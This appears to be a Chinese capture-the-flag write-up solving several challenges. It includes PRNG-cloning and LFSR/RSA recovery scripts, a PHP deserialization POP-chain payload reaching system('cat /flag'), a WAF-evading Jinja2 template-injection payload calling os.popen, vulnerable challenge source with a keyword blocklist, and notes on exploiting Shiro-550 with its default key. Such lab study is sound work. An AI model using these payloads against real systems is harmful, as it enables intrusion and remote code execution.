ezRandom 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 import hashlibimport randomdef untemper (y: int ) -> int : """ Reverses the tempering process of the MT19937 random number generator. This function takes a 32-bit tempered output and returns the corresponding internal state value. """ y ^= (y >> 18 ) y ^= (y << 15 ) & 0xefc60000 y ^= ((y << 7 ) & 0x9d2c5680 ) ^ ((y << 14 ) & 0x94284000 ) ^ ((y << 21 ) & 0x14200000 ) ^ ((y << 28 ) & 0x10000000 ) y ^= (y >> 11 ) ^ (y >> 22 ) return y random_data = """ 169816603364072451748307890137619844128 317715189485522348854327188481878892324 294769318308806389661899406817853855621 184166087188433088797260662701595797481 261743219563260010566392054327210941543 177432090902646875875646834883568454098 206435314920765975238286666178459195682 171546521582020105422173168040267506741 135536603097288008925390987058760929499 164510393285192859038789976650746886019 270610144583795128624484158915357311752 317864942331550909141484304398876864257 143620190783892690342667306910414147706 159193594112341470087155414167453871427 273435578451240600484280605728807497178 329312941639482292417304393984058831955 248699555034368676869633456250642697713 273101914532200971905665445517112217303 267695222792647609239514698731272628257 170623298765065799823687230612395815197 126213943953741554021889458794265155594 26592034961114912462180846182489013571 183412999867736682820336410468786213738 67746048434936614346939023567978004734 209625359076287639736856041539151881349 201248928324843513636862522145004201545 5323105057422217299236654929524578465 59556704498832274731739396094201999872 140394303098620994780495213694385827095 145004960337150565633041856332496004937 5992384913530578720530216282917524306 208185194107452016622785691658580238397 238424223647873853083783544403502234146 259261942623337920828290366132362927907 125737704578700813690250788816670279060 268072503981857308610936128857785471540 46118797402272151678578659539833026043 35558378935300252054878275674955510184 33762887231545360198647281017240073845 81046269185686168793257782929559159932 250684097106550910537808590890238181431 158575367492731431976750077786713410089 50179400607988061711460077834529973792 198407656568946779335773412735130735856 47917535485367807934960531542273856137 159403114580528764608696293178980706952 183360117557599160677562496253978263296 63774403381463436950807190457811371061 134317137107595109940597975042463526576 246522753301984891651795063696071368786 291405071906286823344928083329552378621 45741759917237039331078996546326000823 243602185701835575077746168060451267873 195359997602510690734926203773414330442 95851195160593905370875208067315000550 127675781561757314296686445027744087454 129696866161382247214852939602798329692 248694455444289577295380430814952673489 290114453417822025642274186310958813149 46835022357319107654558432194448202320 320719636369118622587603363468991099327 288475869098762409275248063848714602409 92908006185126626068735181046335473667 292691933934458345188959486463176458828 149613862548721871443161068736391233284 177433290928772186587108746996472809580 125850743880496205393860860326114218420 159688288691183169503815792824556193359 207530684029313748274326946879416477185 255689344727244547256999186938728769662 7777304494067707257908489055478341714 317890667985743923116952631190798926166 320554646134750316779602509084211470160 329407654410443550585420946296318810669 274606803711472229592154378226656678116 112869427988640824311943901607760068989 187973307796056544023429482857532235107 216158371625138969453549400899785242558 163307664224591174521746033181557164669 3064353194872737175827596467974117401 204915348854580215318171691928989206339 283117302667123197094720361996085735212 333051035729599532093448979507371459584 306308638801676854979167138449216338967 180807107058749628568939100996874516568 58568217733986846396716273049081598720 4078685346416880700773350184013235833 272218314830590712201451982991340752403 290318260515224463684331637865256393476 313245674125183590325705691595679735744 25590052016785698243133017811510800885 67654187592577099804411106698512004043 178784739297630956803389380812594750899 184527630270274197831627384400619016358 116701579190176811279615150941524472292 227928294072621059159669292974714979701 294326051181863264812948141848989831008 106874320797784544608497644480038889250 19000208874511360795173137428407314551 158255542023631563866272451323861375334 118723545322184547775204009138905292078 137075800175801137027054978460618025678 321970056085588197748762355838680886197 170990416503164917481465132947334641381 309320203800080049567227742472891228253 34750063702404239360029880813652799540 326280284745476174113688614145671847262 61637893974444319264927518666117762228 261220066069681624319534486599383801303 186120828920237086027958064494641923959 254370808789075842466909979567957360764 227441312758333150589995145256498513652 76456133920194932185102379472101526873 22954509060755839464494217322735686210 78776593991465540215872407627232025988 116645562250835276044660446589337062143 44173891493435309065935716120413075150 60070300138631867670942196893840228721 188006901985201694863101324815407053769 236129693090793397635438628306344148291 304864119184994491635170968566867837169 303079922076937624881495492374423229596 287059174864692087577533993423438058814 276941120116691242309319547143520715330 14100720257747434845078729659844382903 308223042684852903142310230407898412551 15115966346630769327038944427222390713 337017148737556727681546198295429039319 101970506385723322324082107029805153501 323083772181192720910549823233924075567 99996706275873699858952942883788401600 117564972358793313045534224778241924522 304919664602420709645708355577148453035 327555266117428962301878598306686598889 311606195388386985808747555133830164505 208275702262693337046010194528432511375 167709919056143532207099807441198273234 190980032018535550337190034872259711823 302552011950118681026501605880414287405 3952256416592249590975396044247035176 272956371261232666990936562752832257112 73815332280096349906992033606592547376 59769737734699732628514224528291347097 171449447870228456093848384569390658657 238686866882293185814836432052757569662 82296236385538800426223974316235308220 58757611958651423838779178911955389843 14790673707557703542430544444509987559 175835320416406148531821062948679786178 263437241295232584024584415536288513441 14135249527523999756762693056554276102 230042637450817033012847911150669865907 107622678994660412419141455891030816809 310830500113427104046853264835426354341 227244078198930090724591668529472012488 240328330403918217094186554139499122731 """ numbers = [int (n) for n in random_data.strip().split('\n' )] outputs_32bit = [] for num in numbers: outputs_32bit.append(num & 0xffffffff ) outputs_32bit.append((num >> 32 ) & 0xffffffff ) outputs_32bit.append((num >> 64 ) & 0xffffffff ) outputs_32bit.append((num >> 96 ) & 0xffffffff ) state_vector = [untemper(y) for y in outputs_32bit] cloned_state = (3 , tuple (state_vector + [624 ]), None ) r = random.Random() r.setstate(cloned_state) predicted_num = r.getrandbits(32 ) flag = hashlib.md5(str (predicted_num).encode()).hexdigest() print (f"Predicted next 32-bit number: {predicted_num} " )print (f"MD5 Flag: {flag} " )
得出flag
Signin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 from Crypto.Util.number import long_to_bytesimport gmpy2 class LFSR (): def __init__ (self, init, mask, length ): self .init = init self .mask = mask self .lengthmask = 2 **(length) - 1 def next (self ): next_val = (self .init << 1 ) & self .lengthmask i = self .init & self .mask & self .lengthmask output = 0 while i != 0 : output ^= (i & 1 ) i = i >> 1 next_val ^= output self .init = next_val return output def get_prime_candidate (init, mask, bitlength, offset ): L = LFSR(init, mask, mask.bit_length()) for _ in range (offset): L.next () out = 0 for _ in range (bitlength): out = (out << 1 ) ^ L.next () return gmpy2.next_prime(out) c = 463590461188033527043854754872704332870891263554172847159500649679638472438757152817454886691678004882634384446144101353715645298688259129989676349852250 hint = 275851348401668711 mask = 0b10000000000000000000000001010111 e = 2 **16 + 1 BIT_LENGTH = 256 MASK_LENGTH = mask.bit_length() MAX_OFFSET = 64 init_q = hint & ((1 << 32 ) - 1 ) init_p = hint >> 32 print (f"[*] Recovered init_p: {init_p} " )print (f"[*] Recovered init_q: {init_q} " ) p_candidates = [] for i in range (MAX_OFFSET): p_candidates.append(get_prime_candidate(init_p, mask, BIT_LENGTH, i)) q_candidates = [] for j in range (MAX_OFFSET): q_candidates.append(get_prime_candidate(init_q, mask, BIT_LENGTH, j)) print (f"\n[+] Generated {len (p_candidates)} candidates for p." )print (f"[+] Generated {len (q_candidates)} candidates for q." )print ("[*] Searching for the correct prime pair..." ) for p in p_candidates: for q in q_candidates: if p == q: continue n = p * q phi = (p - 1 ) * (q - 1 ) if n < c: continue try : d = pow (e, -1 , phi) m = pow (c, d, n) decrypted_bytes = long_to_bytes(m) if b'flag' in decrypted_bytes: print ("\n[!] Flag found!" ) print (f" p = {p} " ) print (f" q = {q} " ) print (f" Flag: {decrypted_bytes.decode()} " ) exit(0 ) except (ValueError, TypeError): continue print ("\n[-] Flag not found." )
得到flag
hack caut-part1
密码就是1145141919810
鸡你太美 补充文件gif头即可得出
真signin
我的flag碎掉了 把4张图片下载到画布上,降低透明度重叠在一起得到
菌子pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class 青头菌 { public $qtj = "NotFullyCooked" ; protected $code = "/.*/e" ; protected $message = "system('cat /flag');" ; } class 松茸 { public $sr ; public function __construct ( ) { $this ->sr = new 青头菌(); } } class 牛肝菌 { public $ngj ; public function __construct ($sr ) { $this ->ngj = array ('poison' => $sr ); } } class 鸡纵菌 { public $callbackfuc ; public function __construct ($ngj ) { $this ->callbackfuc = $ngj ; } } class 干巴菌 { public $gbj ; public function __construct ($jzj ) { $this ->gbj = $jzj ; } } $sr = new 松茸(); $ngj = new 牛肝菌($sr ); $jzj = new 鸡纵菌($ngj ); $gbj = new 干巴菌($jzj ); echo urlencode (serialize ($gbj ));?>
干巴菌:调用链的起点,利用 __wakeup()
自动触发。
鸡纵菌:连接 干巴菌 和 牛肝菌,通过 call_user_func
传递调用。
牛肝菌:连接 鸡纵菌和 松茸,通过 __invoke()
触发属性访问。
松茸:连接 牛肝菌 和 青头菌,通过 __get()
触发字符串转换。
青头菌:调用链的终点,利用 preg_replace
执行命令。
构造思路:
青头菌的 preg_replace
需要toString方法(当一个对象被强制转换为字符串时例如通过 echo
或字符串拼接会自动调用)触发,
而想调用这个函数需要松茸的get方法(访问一个对象中不存在或不可访问的属性时会自动调用)触发,因为里面有echo方法,
而又想调用这个函数需要牛肝菌的invoke方法(当一个对象被当作函数调用时会自动触发)触发,因为里面的$message = $this->ngj[‘poison’]->nnggjj;调用了不存在对象
而又又想调用鸡枞菌的call_user_func方法需要调用鸡枞菌的见小人(),而又又想调用见小人方法需要干巴菌的wakeup方法,它会调用干巴菌炒饭,然后干巴菌炒饭调用见小人方法最后的到flag
题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 <?php header ("Content-Type: text/html; charset=UTF-8" );class 牛肝菌 { public $ngj ; public $source ; public $message ; public function __construct ( ) { $this ->source = $this ->ngj['poison' ]; } public function __invoke ( ) { $message = $this ->ngj['poison' ]->nnggjj; return $message ; } } class 松茸 { public $sr ; public function __construct ( ) { echo "松茸真好吃~\r\n" ; } public function __get ($name ) { echo $this ->sr; } } class 平菇 { public $pg ; public function __construct ( ) { $this ->pg = 'Fake junzi' ; } public function __destruct ( ) { echo "平菇是Fake junzi\r\n" ; } } class 青头菌 { public $qtj ; protected $code ; protected $message ; public function __construct ( ) { $qtj = $this ->qtj; } public function __toString ( ) { if ($this ->qtj === 'NotFullyCooked' ) { $this ->躺板板(); } else { return "炒熟了,好吃~\r\n" ; } } public function 躺板板( ) { preg_replace ($this ->code, $this ->message, "test" ); } public function 么么三三( ) { $temp = "dummy" ; for ($i = 0 ; $i < 5 ; $i ++) { $temp .= $i ; } return strrev ($temp ); } public function 三三么么($param ) { return md5 ($param ); } public function __destruct ( ) { $this ->三三么么($this ->qtj); } } class 香菇 { public $xg ; public function __construct ( ) { $this ->xg = 'Fake junzi' ; } public function __wakeup ( ) { echo "香菇虽然不是junzi,但是很好吃~~~\r\n" ; } } class 干巴菌 { public $gbj ; public $callbackfuc ; public function __construct ( ) { echo "干巴菌炒饭真香~\r\n" ; } public function __wakeup ( ) { echo "未可啊噗\r\n" ; $this ->干巴菌炒饭(); } public function 干巴菌炒饭( ) { $this ->gbj->见小人(); } public function 干巴爹( ) { $fake = "干巴爹" ; echo strtoupper ($fake ); } public function 来个random ( ) { return random_int (100 , 200 ); } } class 鸡纵菌 { public $jzj ; public $callbackfuc ; public function 见小人( ) { call_user_func ($this ->callbackfuc); } public function 啥一( ) { return sha1 ("板砸" ); } public function __destruct ( ) { echo "鸡纵菌被吃掉了~ T.T\r\n" ; } } if (isset ($_GET ['data' ])) { $data = $_GET ['data' ]; $object = unserialize ($data ); } else { highlight_file (__FILE__ ); } ?>
模版之内无害的预览 扫目录发现secret目录,点进去发现加密,解密后发现是题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : f = request.files['file' ] path = os.path.join(app.config['UPLOAD_FOLDER' ], f.filename) f.save(path) return jsonify({ "message" : "File uploaded successfully" , "path" : "uploads/" + f.filename, }), 200 return ''' <meta charset="UTF-8"> <h2>文件上传测试页面</h2> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' def waf_check (s ): blacklist = [ '__' , 'os' , 'subclasses' , 'builtins' , 'globals' , 'getattr' , 'setattr' , 'exec' , 'eval' , 'compile' , 'importlib' , 'open' , 'pickle' , 'marshal' , 'input' , 'flag' , '=' , 'cat' , 'tac' , 'more' , 'less' , 'tail' ] for word in blacklist: if word in s: return False return True @app.route('/view/<path:filename>' ) def view_file (filename ): filepath = os.path.join(app.config['UPLOAD_FOLDER' ], filename) if not os.path.exists(filepath): return f"File '{filename} ' not found." try : with open (filepath, 'r' , encoding='utf-8' ) as f: content = f.read() except UnicodeDecodeError: return "Only text files are allowed (no binary like PNG)." except Exception as e: return f"Error reading file: {e} " if not waf_check(content): if not waf_check(filename): return 'Blocked by WAF!' try : output = ''' <body> <h2>文件预览</h2> <p>以下是你想要查看的文件,文件名:{filename}</p> <p>文件内容:</p> <pre>{content}</pre> </body> ''' .format (filename=filename, content=content) return render_template_string(output) except Exception as e: return f"Template rendering error: {e} "
构造完payload
1 2 3 4 5 6 7 8 9 10 11 12 {% set g1='__glo' %} {% set g2='bals__' %} {% set global_obj=lipsum|attr(g1+g2) %} {% set o1='o' %} {% set o2='s' %} {% set os_module=global_obj[o1+o2] %} {% set p1='p' %} {% set p2='open' %} {% set popen_func=os_module[p1+p2] %} {% set cmd='cat /flag' %} {% set result=popen_func(cmd) %} {{result.read()}}
上传后在/view/5.txt找到flag(注意/uploads/5.txt找不到,坑人改位置了)
Shiro
去包里找
账号密码找到了,进入里面继续看源码
去pom.xml发现版本是1.2.4,容易受到 Shiro-550 rememberMe
Cookie 反序列化远程代码执行 (RCE) 漏洞的攻击
发现它并没有调用 setCipherKey(byte[] key)
方法来为这个实例设置一个自定义的加密密钥,所以密钥是默认的kPH+bIxk5D2deZiIxcaaaA==
用工具命令执行发现flag